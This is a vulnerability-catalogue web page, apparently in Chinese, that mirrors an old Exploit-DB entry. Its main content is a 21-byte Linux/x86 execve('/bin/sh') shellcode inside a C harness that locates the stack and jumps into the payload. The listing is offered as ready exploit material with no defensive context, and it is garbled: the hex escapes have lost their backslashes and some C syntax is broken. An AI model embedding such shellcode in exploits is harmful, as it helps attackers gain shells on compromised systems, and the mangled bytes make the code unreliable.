Linux/x86 – execve(/bin/sh) + Standard Opcode Array Payload Shellcode (21 bytes)

Linux/x86 – execve(/bin/sh) + Standard Opcode Array Payload Shellcode (21 bytes)

漏洞ID 1055388 漏洞类型
发布时间 2005-09-15 更新时间 2005-09-15
图片[1]-Linux/x86 – execve(/bin/sh) + Standard Opcode Array Payload Shellcode (21 bytes)-安全小百科CVE编号 N/A
图片[2]-Linux/x86 – execve(/bin/sh) + Standard Opcode Array Payload Shellcode (21 bytes)-安全小百科CNNVD-ID N/A
漏洞平台 Linux_x86 CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/13409
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/*
 lnx_binsh4.c - v1 - 21 Byte /bin/sh Opcode Array Payload
 Copyright(c) 2004 c0ntex <[email protected]>
 
 This program is free software; you can redistribute it and/or modify
 it under the terms of the GNU General Public License as published by
 the Free Software Foundation; either version 2 of the License, or
 (at your option) any later version.
  
 This program is distributed in the hope that it will be useful,
 but WITHOUT ANY WARRANTY; without even the implied warranty of
 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 GNU General Public License for more details.
  
 You should have received a copy of the GNU General Public License
 along with this program; if not, write to the Free Software
 Foundation, Inc., 59 Temple Place, Suite 330, Boston,
 MA  02111-1307  USA
*/

/*
 Calling: execve(/bin/sh)
*/

#include <stdio.h>

typedef char wikkid;

wikkid oPc0d3z[] = "x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"

unsigned long grab_esp()
{
		__asm__("
		          xorl %eax,%eax
	  	          movl %eax,%ebx
	  	          movl %esp,%eax
	  	");
}

int main(void)
{
	unsigned long delta;
	void (*pointer)();

	delta = grab_esp();

	fprintf(stderr, "n[-] Stack Pointer found -> [0x%x]n", delta);
	fprintf(stderr, "t[-] Size of payload egg -> [%d]n", sizeof(oPc0d3z));

	pointer=(void*)&oPc0d3z;

	while(pointer) {
		fprintf(stderr, "t[-] Payload Begin -> [0x%x]n", pointer);
		fprintf(stderr, "t[-] Payload End   -> [0x%x]nn", pointer+21);
		pointer();
	}

	_exit(0x01);
}

// milw0rm.com [2005-09-15]

相关推荐: Nuked-Klan Remote Information Disclosure Vulnerability

Nuked-Klan Remote Information Disclosure Vulnerability 漏洞ID 1100767 漏洞类型 Input Validation Error 发布时间 2003-02-23 更新时间 2003-02-23 CV…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享